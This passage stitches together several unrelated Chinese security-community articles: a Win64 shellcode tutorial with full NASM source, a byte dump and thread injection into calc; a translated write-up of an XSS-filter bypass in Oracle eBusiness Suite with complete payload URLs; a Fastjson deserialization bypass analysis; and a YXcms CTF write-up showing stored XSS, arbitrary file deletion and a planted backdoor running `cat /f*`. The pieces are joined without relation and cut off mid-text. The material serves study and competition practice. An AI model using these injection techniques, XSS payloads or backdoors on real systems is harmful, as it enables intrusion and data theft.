+0x058 BaseDllName : _UNICODE_STRING "ꩀ矌"
+0x068 Flags : 0x77ccaa40
+0x06c LoadCount : 0
+0x06e TlsIndex : 0
+0x070 HashLinks : _LIST_ENTRY [ 0xbaadf00d`4ce7c78b - 0x00000000`00000000 ]
+0x070 SectionPointer : 0xbaadf00d`4ce7c78b Void
+0x078 CheckSum : 0
+0x080 TimeDateStamp : 0
+0x080 LoadedImports : (null)
+0x088 EntryPointActivationContext : 0x00000000`002b4d20 _ACTIVATION_CONTEXT
+0x090 PatchInformation : 0x00000000`002b4d20 Void
+0x098 ForwarderLinks : _LIST_ENTRY [ 0x00000000`002b36e8 - 0x00000000`002b36e8 ]
+0x0a8 ServiceTagLinks : _LIST_ENTRY [ 0x00000000`002b3980 - 0x00000000`002b3750 ]
+0x0b8 StaticLinks : _LIST_ENTRY [ 0x00000000`77c95124 - 0x00000000`78d20000 ]
+0x0c8 ContextInformation : 0x01d00f7c`80e29f8e Void
+0x0d0 OriginalBase : 0xabababab`abababab
+0x0d8 LoadTime : _LARGE_INTEGER 0xabababab`abababab
---CUT
现在知道加载的模块基地址在_LDR_DATA_TABLE_ENTRY的0x30偏移处。
a.通过访问[gs:60h]找到PEB
b.通过在PEB中偏移0x18进入LDR链表。
c.偏移0x20是InMemoryOrderModuleList。
d.InMemoryOrderModuleList中的第3个元素是Kernel32，0x30th offset是模块的基地址。
e.我们要调用ExitProcess，这实际上是来自ntdll.dll的RtlExitUserProcess。Ntdll.dll是InMemoryOrderModuleList中的第二个条目，我也将获取它的基地址并将其存储在r15中供以后使用。我发现这个方法比依靠Kernel32在ntdll中正确执行一个函数更容易和更可靠
从dependency walker中可以看出ExitProcess指向Ntdll.RtlExitUserProcess。
**
**
**开始编写汇编代码**
mov r12, [gs:60h] ;peb
mov r12, [r12 + 0x18] ;Peb --> LDR
mov r12, [r12 + 0x20] ;Peb.Ldr.InMemoryOrderModuleList
mov r12, [r12] ;2st entry
mov r15, [r12 + 0x20] ;ntdll.dll base address!
mov r12, [r12] ;3nd entry
mov r12, [r12 + 0x20] ;kernel32.dll base address! We go 20 bytes in here as we are already 10 bytes into the _LDR_DATA_TABLE_ENTRY from the InMemoryOrderModuleList
这里将Kernel32的地址放入r12寄存器(r12寄存器不是Clobber寄存器),在shellcode执行期间需要已知保留Kernel32的地址。现在找到了kernel32模块的地址，可以通过kernel32加载其他模块和获取其他函数的地址。
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
LoadLibraryA用于将其他dll模块加载到当前进程，因为shellcode需要与地址无关，不能依赖任何已经在目标进程中的dll。在本例中需要加载user32.dll。
为了使用LoadLibraryA函数，它必须在kernel32.dll中找它的地址，这就需要GetProcAddress函数了。
FARPROC WINAPI GetProcAddress(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
GetProcAddress需要两个参数，需要获得的函数模块句柄以及函数名。
;find address of loadLibraryA from kernel32.dll which was found above.
mov rdx, 0xec0e4e8e ;lpProcName (loadLibraryA hash from ror13)
mov rcx, r12 ;hModule
call GetProcessAddress
一旦我们知道LoadLibraryA的地址，我们可以使用它来加载user32.dll。
“0xec0e4e8e”为函数名称的hash,将该hash赋值给rdx作为函数名参数。
0xec0e4e8e是LoadLibraryA的每个字母ROR
0x13相加所得的总和。这在Shellcode中是常见的，在MetaSploit等项目使用。我写了一个简单的C程序来用来计算这些hash。
#./rot13.exe LoadLibraryA
LoadLibraryA
ROR13 of LoadLibraryA is: 0xec0e4e8e
现在加载user32.dll
;import user32
lea rcx, [user32_dll]
call rax ;load user32.dll
user_32dll: db 'user32.dll', 0
现在可以获得MessageBox函数的地址了
mov rdx, 0xbc4da2a8 ;hash for MessageBoxA from rot13
mov rcx, rax
call GetProcessAddress
然后执行MessageBox
;messageBox
xor r9, r9 ;uType
lea r8, [title_str] ;lpCaptopn
lea rdx, [hello_str] ;lpText
xor rcx, rcx ;hWnd
call rax ;display message box
title_str: db '0xdeadbeef', 0
hello_str: db 'This is fun!', 0
最后使用ExitProcess函数结束进程
VOID WINAPI ExitProcess(
_In_ UINT uExitCode
);
需要注意的是ExitProcess是kernel32所导出的函数，但是这里使用RtlExitUserProcess。
;ExitProcess
mov rdx, 0x2d3fcd70
mov rcx, r15 ;base address of ntdll
call GetProcessAddress
xor rcx, rcx ;uExitCode
call rax
完整的shellcode与GetProcess函数实现如下:
这里使用call/pop指令实现”lea”指令
bits 64
section .text
global start
start:
;get dll base addresses
sub rsp, 28h ;reserve stack space for called functions
and rsp, 0fffffffffffffff0h ;make sure stack 16-byte aligned
mov r12, [gs:60h] ;peb
mov r12, [r12 + 0x18] ;Peb --> LDR
mov r12, [r12 + 0x20] ;Peb.Ldr.InMemoryOrderModuleList
mov r12, [r12] ;2st entry
mov r15, [r12 + 0x20] ;ntdll.dll base address!
mov r12, [r12] ;3nd entry
mov r12, [r12 + 0x20] ;kernel32.dll base address!
;find address of loadLibraryA from kernel32.dll which was found above.
mov rdx, 0xec0e4e8e
mov rcx, r12
call GetProcessAddress
;import user32
jmp getUser32
returnGetUser32:
pop rcx
call rax ;load user32.dll
;get messageBox address
mov rdx, 0xbc4da2a8
mov rcx, rax
call GetProcessAddress
mov rbx, rax
;messageBox
xor r9, r9 ;uType
jmp getText
returnGetText:
pop r8 ;lpCaption
jmp getTitle
returnGetTitle:
pop rdx ;lpTitle
xor rcx, rcx ;hWnd
call rbx ;display message box
;ExitProcess
mov rdx, 0x2d3fcd70
mov rcx, r15
call GetProcessAddress
xor rcx, rcx ;uExitCode
call rax
;get strings
getUser32:
call returnGetUser32
db 'user32.dll'
db 0x00
getTitle:
call returnGetTitle
db 'This is fun!'
db 0x00
getText:
call returnGetText
db '0xdeadbeef'
db 0x00
;Hashing section to resolve a function address
GetProcessAddress:
mov r13, rcx ;base address of dll loaded
mov eax, [r13d + 0x3c] ;skip DOS header and go to PE header
mov r14d, [r13d + eax + 0x88] ;0x88 offset from the PE header is the export table.
add r14d, r13d ;make the export table an absolute base address and put it in r14d.
mov r10d, [r14d + 0x18] ;go into the export table and get the numberOfNames
mov ebx, [r14d + 0x20] ;get the AddressOfNames offset.
add ebx, r13d ;AddressofNames base.
find_function_loop:
jecxz find_function_finished ;if ecx is zero, quit :( nothing found.
dec r10d ;dec ECX by one for the loop until a match/none are found
mov esi, [ebx + r10d * 4] ;get a name to play with from the export table.
add esi, r13d ;esi is now the current name to search on.
find_hashes:
xor edi, edi
xor eax, eax
cld
continue_hashing:
lodsb ;get into al from esi
test al, al ;is the end of string resarched?
jz compute_hash_finished
ror dword edi, 0xd ;ROR13 for hash calculation!
add edi, eax
jmp continue_hashing
compute_hash_finished:
cmp edi, edx ;edx has the function hash
jnz find_function_loop ;didn't match, keep trying!
mov ebx, [r14d + 0x24] ;put the address of the ordinal table and put it in ebx.
add ebx, r13d ;absolute address
xor ecx, ecx ;ensure ecx is 0'd.
mov cx, [ebx + 2 * r10d] ;ordinal = 2 bytes. Get the current ordinal and put it in cx. ECX was our counter for which # we were in.
mov ebx, [r14d + 0x1c] ;extract the address table offset
add ebx, r13d ;put absolute address in EBX.
mov eax, [ebx + 4 * ecx] ;relative address
add eax, r13d
find_function_finished:
ret
有关GetProcAddress函数的magic请参考[Skape](https://publish.adlab.corp.qihoo.net:8360/contribute/www.nologin.com/Downloads/Papers/win32-shellcode.pdf)的教程。
现在我们编译链接我们的shellcode，然后测试是否可以执行
nasm -f win64 messageBox64bit.asm -o messageBox64bit.obj
golink /console messageBox64bit.obj
./messageBox64bit.exe
通过这种方式编译出来的shellcode是一个PE可执行文件，这里在将他编译成一个纯shellcode文件。
nasm -f bin messageBox64bit.asm -o messageBox64bit.sc
xxd -i messageBox64bit.sc
xxd -i messageBox64bit.sc
unsigned char messageBox64bit_sc[] = {
0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x65, 0x4c, 0x8b, 0x24,
0x25, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0x64, 0x24, 0x18, 0x4d, 0x8b,
0x64, 0x24, 0x20, 0x4d, 0x8b, 0x24, 0x24, 0x4d, 0x8b, 0x7c, 0x24, 0x20,
0x4d, 0x8b, 0x24, 0x24, 0x4d, 0x8b, 0x64, 0x24, 0x20, 0xba, 0x8e, 0x4e,
0x0e, 0xec, 0x4c, 0x89, 0xe1, 0xe8, 0x68, 0x00, 0x00, 0x00, 0xeb, 0x34,
0x59, 0xff, 0xd0, 0xba, 0xa8, 0xa2, 0x4d, 0xbc, 0x48, 0x89, 0xc1, 0xe8,
0x56, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x4d, 0x31, 0xc9, 0xeb, 0x2c,
0x41, 0x58, 0xeb, 0x3a, 0x5a, 0x48, 0x31, 0xc9, 0xff, 0xd3, 0xba, 0x70,
0xcd, 0x3f, 0x2d, 0x4c, 0x89, 0xf9, 0xe8, 0x37, 0x00, 0x00, 0x00, 0x48,
0x31, 0xc9, 0xff, 0xd0, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x75, 0x73, 0x65,
0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0xe8, 0xcf, 0xff, 0xff,
0xff, 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x66, 0x75, 0x6e,
0x21, 0x00, 0xe8, 0xc1, 0xff, 0xff, 0xff, 0x30, 0x78, 0x64, 0x65, 0x61,
0x64, 0x62, 0x65, 0x65, 0x66, 0x00, 0x49, 0x89, 0xcd, 0x67, 0x41, 0x8b,
0x45, 0x3c, 0x67, 0x45, 0x8b, 0xb4, 0x05, 0x88, 0x00, 0x00, 0x00, 0x45,
0x01, 0xee, 0x67, 0x45, 0x8b, 0x56, 0x18, 0x67, 0x41, 0x8b, 0x5e, 0x20,
0x44, 0x01, 0xeb, 0x67, 0xe3, 0x3f, 0x41, 0xff, 0xca, 0x67, 0x42, 0x8b,
0x34, 0x93, 0x44, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84,
0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x39, 0xd7,
0x75, 0xdd, 0x67, 0x41, 0x8b, 0x5e, 0x24, 0x44, 0x01, 0xeb, 0x31, 0xc9,
0x66, 0x67, 0x42, 0x8b, 0x0c, 0x53, 0x67, 0x41, 0x8b, 0x5e, 0x1c, 0x44,
0x01, 0xeb, 0x67, 0x8b, 0x04, 0x8b, 0x44, 0x01, 0xe8, 0xc3
};
unsigned int messageBox64bit_sc_len = 258;
shellcode以16进制字符返回，然后通过我编写的另一个小程序在calc进程中执行该shellcode。需要说明的是这个小程序现在仅仅还是一个测试版，编写这个小程序的目的主要是为了测试另一个开源反汇编项目[BeaEngine](http://www.beaengine.org/home)
启动这个小程序，将16进制数据拷贝到左边文本框中，选择64位版本，点击Fire
Shellcode后，汇编代码将出现在右侧文本框中。实现汇编功能主要为了让这个小程序功能更加完整，通过这个功能也可以反编译一些不知道功能的shellcode。
点击fire后，小程序将运行calc并注入一个线程执行shellcode。
成功！
**后记**
我希望这篇文章有助于帮助开发Win64
Shellcode，我刚开始写我在研究中学到的东西，希望以后能够继续坚持写。可以在这里下载我使用的一些程序，我将它压缩并放到这里:[资源](http://www.tophertimzen.com/resources/win64BlogPost/Windows-x64-Shellcode-resources.zip)。
更新2015年3月18日：我开源的我开发的shellcode
Tester，将它放在github:[shellcodeTester](https://github.com/tophertimzen/shellcodeTester)。
写于2014年12月4日 | 社区文章 |
# 【技术分享】使用XML内部实体绕过Chrome和IE的XSS过滤
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://www.davidlitchfield.com/BypassingXSSFiltersusingXMLInternalEntities.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
**简介**
假如你要让Web应用在后台执行某些XML处理任务的话，那么你将很有可能受到XSS攻击（跨站脚本攻击）。我之所以会这样说，是因为安全研究人员发现，攻击者现在可以使用XML内部实体来绕过目前常见浏览器的XSS过滤器，受影响的浏览器包括Chrome、IE、以及Safari在内。当然了，这种攻击手段对火狐浏览器也同样能够奏效，但很明显火狐浏览器中并不存在XSS过滤器。
**安全客小百科：XSS攻击**
跨站脚本攻击（XSS）是一种经常出现在Web应用中的计算机安全漏洞，它允许Web攻击者将恶意代码植入到提供给其它用户使用的页面中，比如说HTML代码和客户端脚本等。对于跨站脚本攻击，黑客界的共识是：跨站脚本攻击是新型的“缓冲区溢出攻击”，而JavaScript则是一种新型的“ShellCode”。
**XML实体**
所谓XML实体，实际上就是一些内容占位符。它不仅可以用于内容转义，而且还可以代表一些重复的、无法通过键盘输入的、或者与XML
规范保留字相冲突的字符数据。从这一点来看，它有些似类于 C# 中的转义字符。
由此可以看出，XML实体的作用主要有以下几点：
1\. 代替无法输入的字符。键盘只有26个字母和一些简单的标点符号，而字符集中有很多符号是无法通过键盘直接输入的，此时就使用实体来代替。
2\. 代替一些与XML规范保留字相冲突的内容，如：“<”、“>”等。
3\. 代替大段的重复文本。
**绕过常见浏览器的XSS过滤器**
Oracle的“eBusiness Suite”电子商务套件其v12.x以及之前版本的BneApplicationService
Servlet中存在一个跨站脚本漏洞。当时，安全研究专家正在尝试寻找外部XML实体处理过程中存在的安全漏洞，但是却意外发现了这个跨站脚本漏洞。
如果我们在浏览器中发送下面这段请求：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=XXX
那么我们将会得到如下所示的响应信息：
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException - oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.
Log File Bookmark: 392699
于是，我们修改了请求，然后将其封装在了一个XML标签内：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3CFOO%3EXXXXX%3C/FOO%3E
现在，我们所得到的响应信息如下所示：
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:
oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElement
Log File Bookmark: 602808
所以接下来，我们就要尝试弄清楚相关类文件在底层到底是如何处理这些请求的。在对源代码进行了审查之后，我们在createBodyBneStyle方法中发现了下列信息：
XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);
XMLElement localXMLElement1 =
(XMLElement)localXMLDocument.getDocumentElement();
NodeList localNodeList = localXMLElement1.getChildNodes();
for (int i = 0; i < localNodeList.getLength(); i++)
{
String str1 = "";
String str2 = "";
String str3 = "";
String str4 = null;
String str5 = null;
Node localNode = null;
XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);
NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();
localNode = localNamedNodeMap.getNamedItem("bne:type");
if (localNode != null) {
str1 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:text");
if (localNode != null) {
str2 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:value");
if (localNode != null) {
str3 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:cause");
if (localNode != null) {
str4 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:action");
if (localNode != null) {
str5 = localNode.getNodeValue();
}
if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))
{
localStringBuffer.append("<p><b>" + str2 + "</b></p>");
localStringBuffer.append("<p>" + str4 + "</p>");
我们可以从上面这段源码中看到，如果我们将"bne:text"设置成除"data"之外的任意字符串那么它和"bne:cause"的值将会从浏览器直接输出。这样一来，我们就可以创建一个查询字符串，而且这条查询语句不会导致XML解析发生错误。查询请求如下所示：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3C
我们可以看到，这种方法可以轻易地帮助攻击者实现一次跨站脚本攻击。接下来，让我们来进行一些简单的尝试。我们将发送“<IMG SRC=/x
onerror=(1)>”，看看会发生什么事情。请求链接如下：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%3CIMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
我们所获取到的响应信息如下：
Reserved program word <message><bne:a xmlns:bne="foo" bne:text="ABCDEF"
bne:cause="<I ... detected.
Press the Back button and remove the reserved program word. Contact your system administrator if the
value cannot be changed.
好的，从我们所获取到的信息来看，BneApplicationService中内置有一个XSS过滤器，而这个XSS过滤器就是我们需要绕过的东西。还记得文中一开始提到的吗？我们此前曾尝试寻找XML外部实体（XXE）的处理漏洞。虽然失败了，但是在分析的过程中，我突然产生了使用内部XML实体来绕过XSS过滤器的想法。这也就意味着，我们可以将攻击代码拆分成大量的占位符，之后在情况允许的情况下再将代码进行重组，这样就可以对我们的攻击行为进行伪装，以此来躲避安全防护系统的检测。首先，让我们在请求链接中去掉“<IMG
SRC=/x onerror=(1)>”中的第一个尖扣号“<”，看看会发生什么事情。请求如下：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
好的，一切都在我们的预料之中。那么接下来，为了绕过BneApplicationService的内置过滤器，我们只需要使用一个XML内部实体来处理那个“缺失”的尖扣号即可。为此，我们添加了一个名为“xxx”的XML内部实体，然后将尖括号“<”分配给它。代码如下所示：
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"<">]>
此时的请求链接如下：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
我们的“alert(1)”并没有得到执行，但这也是意料之中的事情，因为Chrome的XSS过滤器已经检测到了我们的这次攻击：
**绕过Chrome的XSS过滤器**
那么现在，我们就要想办法来绕过Chrome的XSS过滤器。当然了，我们依然可以使用XML内部实体来完成这个任务。我们为IMG和SRC的onerror事件创建了实体对象，虽然Web服务器端的XML解析器会对我们的信息进行编译处理，但是Chrome浏览器端并不会将其视作一次XSS攻击。我们所构建的请求如下：
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%3C%21ENTITY%20yyy%20%22IMG%22%3E%3C%21ENTITY%20zzz%20%22SRC%22%3E%3C%21ENTITY%20ppp%20%22one%22% 3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;%26yyy;%20%26zzz;=/x%20%26ppp;rror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
实验结果如上图所示。
我们的测试环境如下：
-火狐浏览器（版本号47）
-Chrome浏览器（版本号51）
-IE 11浏览器
-Safari 9.1.1 | 社区文章 |
# Fastjson < 1.2.68版本反序列化漏洞分析篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：ale_wong@云影实验室
## 前言
迟到的Fastjson反序列化漏洞分析，按照国际惯例这次依旧没有放poc。道理还是那个道理，但利用方式多种多样。除了之前放出来用于文件读写的利用方式以外其实还可以用于SSRF。
## 一、漏洞概述
在之前其他大佬文章中，我们可以看到的利用方式为通过清空指定文件向指定文件写入指定内容(用到第三方库)。当gadget是继承的第一个类的子类的时候，满足攻击fastjson的条件。此时寻找到的需要gadget满足能利用期望类绕过checkAutoType。
本文分析了一种利用反序列化指向fastjson自带类进行攻击利用，可实现文件读取、SSRF攻击等。
## 二、调试分析
### 1\. 漏洞调试
从更新的补丁中可以看到expectClass类新增了三个方法分别为：
java.lang.Runnable、java.lang.Readable、java.lang.AutoCloseable
首先，parseObject方法对传入的数据进行处理。通过词法解析得到类型名称，如果不是数字则开始checkAutoType检查。
if (!allDigits) {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
当传入的数据不是数字的时候，默认设置期望类为空，进入checkAutoType进行检查传入的类。
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
判断期望类，此时期望类为null。往下走的代码中，autoCloseable
满足不在白名单内,不在黑名单内，autoTypeSupport没有开启，expectClassFlag为false。
其中：
A.计算哈希值进行内部白名单匹配
B.计算哈希值进行内部黑名单匹配
C.非内部白名单且开启autoTypeSupport或者是期望类的，进行hash校验白名单acceptHashCodes、黑名单denyHashCodes。如果在acceptHashCodes内则进行加载(
defaultClassLoader),在黑名单内则抛出 autoType is not support。
clazz = TypeUtils.getClassFromMapping(typeName);
满足条件C后来到clazz的赋值，解析来的代码中对clazz进行了各种判断
clazz = TypeUtils.getClassFromMapping(typeName);
从明文缓存中取出autoCloseable赋值给 clazz
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
当clazz不为空时，expectClassFlag为空不满足条件，返回clazz,至此，第一次的checkAutoType检查完毕。
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
将检查完毕的autoCloseable进行反序列化，该类使用的是JavaBeanDeserializer反序列化器，从MapDeserializer中继承
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return deserialze(parser, type, fieldName, 0);
}
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
return deserialze(parser, type, fieldName, null, features, null);
}//进入后代码如下
if ((typeKey != null && typeKey.equals(key))
|| JSON.DEFAULT_TYPE_KEY == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);
if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) {
// beanInfo.typeName是autoCloseable ，但IgnoreAutoType没有开启
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}//不满足条件所以这块代码被跳过了
JSON.DEFAULT_TYPE_KEY 为[@type](https://github.com/type "@type") ,并给它赋值传入的key
[@type](https://github.com/type "@type") ,将第二个类也就是这次 的gadget传入
if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}
期望类在这里发生了变化，expectClass的值变为java.lang.AutoCloseable，typeName为gadget，
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
//开了一个class文件的输入流
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);//new reader工具
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);//关闭流 JarURLConnection$JarURLInputStream
}
来到JSONType注解，取typename gadget转换变为路径，resource通过将 “.” 替换为”/“得到路径
。其实已经开始读取gadget了，它本意应该是加载AutoCloseable。
public ClassReader(InputStream is, boolean readAnnotations) throws IOException {
this.readAnnotations = readAnnotations;
{
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
for (; ; ) {
int len = is.read(buf);
if (len == -1) {
break;
}
if (len > 0) {
out.write(buf, 0, len);
}
}
is.close();
this.b = out.toByteArray();
}
可以看到这里有读取文件的功能。所以之前网传的POC可能是利用这里这个特性(?)留意一下以后研究…
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
//开始加载gadget
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {//判断里面的类是否为继承类
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
isAssignableFrom()这个方法用于判断里面的类是否为继承类，当利用了java.lang.AutoCloseable这个方法去攻击fastjson，那么后续反序列化的链路需要是继承于该类的子类。
TypeUtils.addMapping(typeName, clazz)这一步成功把gadget加入缓存中并返回被赋值gadget的clazz.
checkAutoType正式检查完毕，此时用deserializer =
parser.getConfig().getDeserializer(userType); userType既gadget进行反序列化。
private void xxTryOnly(boolean isXXXXeconnect, Properties mergedProps) throws
XXXException {
Exception connectionNotEstablishedBecause = null;
try {
coreConnect(mergedProps);
this.connectionId = this.io.getThreadId();
this.isClosed = false;
进入coreConnect()
在这里进行连接。至此漏洞利用完结。
### 2\. 总结：
在本次反序列化漏洞中，笔者认为关键点在于找到合适并且可利用的常用jar包中的gadget。gadget在被反序列化后即可执行类里的恶意的功能(不仅限于RCE还包括任意文件读取/创建,SSRF等)。也可以使本漏洞得到最大化的利用。
## 三、参考考链接
<https://b1ue.cn/archives/348.html>
<https://daybr4ak.github.io/2020/07/20/fastjson%201.6.68%20autotype%20bypass/> | 社区文章 |
## 0x01 前言
最近清理电脑时翻出去年一次线下AWD比赛的源码，正好最近还有线下awd比赛要准备，于是又审了审，那次比赛的源码也相对较简单，这里做个记录分享给大家。
## 0x02 概述
官方的YXcms1.4.7这个版本存在好几个严重漏洞，但基本都在后台，前台有一个储存型XSS，要利用也需与管理员交互。说实话这几个漏洞都很鸡肋。
由于时间较短，选手也不太可能完整地审计完这个cms。比赛方对源码做了一些修改，留了几个后门。
## 0x03 漏洞分析
### 0x03.1 前台储存型XSS
网站是mvc路由模式，很容易就可以找到对应的代码文件。前台没有过滤措施，留言内容直接插到了数据库：
后台读取也没有过滤，文件位置`protected/apps/admin/controller/extendfieldController.php`：
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}
...
}
### 0x03.2 后台模版getshell
YXcms官方似乎一直不把后台漏洞当回事。
不需要管理员权限就可以访问，文件位置`/protected/apps/default/view/default/1.php`：
### 0x03.3 任意文件删除
漏洞位于phpoto控制器下的delpic方法，文件位置`protected/apps/admin/controller/photoController.php`:
public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}
代码首先判断是否含有POST参数`picname`，然后赋给`$picname`，获取路径`uploadpath=ROOT_PATH.'upload/photos/'`，使用`file_exists()`函数判断文件是否存在，然后再`unlink()`进行删除。参数`$picname`完全可控，导致任意文件删除：
## 0x04 比赛方漏洞分析
比赛方为了提高游戏体验还设置了网站后台弱口令，这里我就不多说了，进了后台很容易就可以getshell。
### 0x04.1 后门一
对应代码文件：`protected/apps/default/view/default/extend_guestbook.php`：
<?php
...
<div class="field">
<input type="text" class="input" name="qq" placeholder="QQ号" />
<input type="hidden" class="input" name="qq" placeholder="<?php echo `cat /f*`;?>" />
</div>
...
?>
反引号```执行命令`cat /f*`。
与官方源码对比：
这个后门确实很隐蔽，很考验选手的洞察力了。
修复：删除漏洞代码行即可。
### 0x04.2 后门二
漏洞文件位置：`protected/apps/member/view/index_welcome.php`
<?php
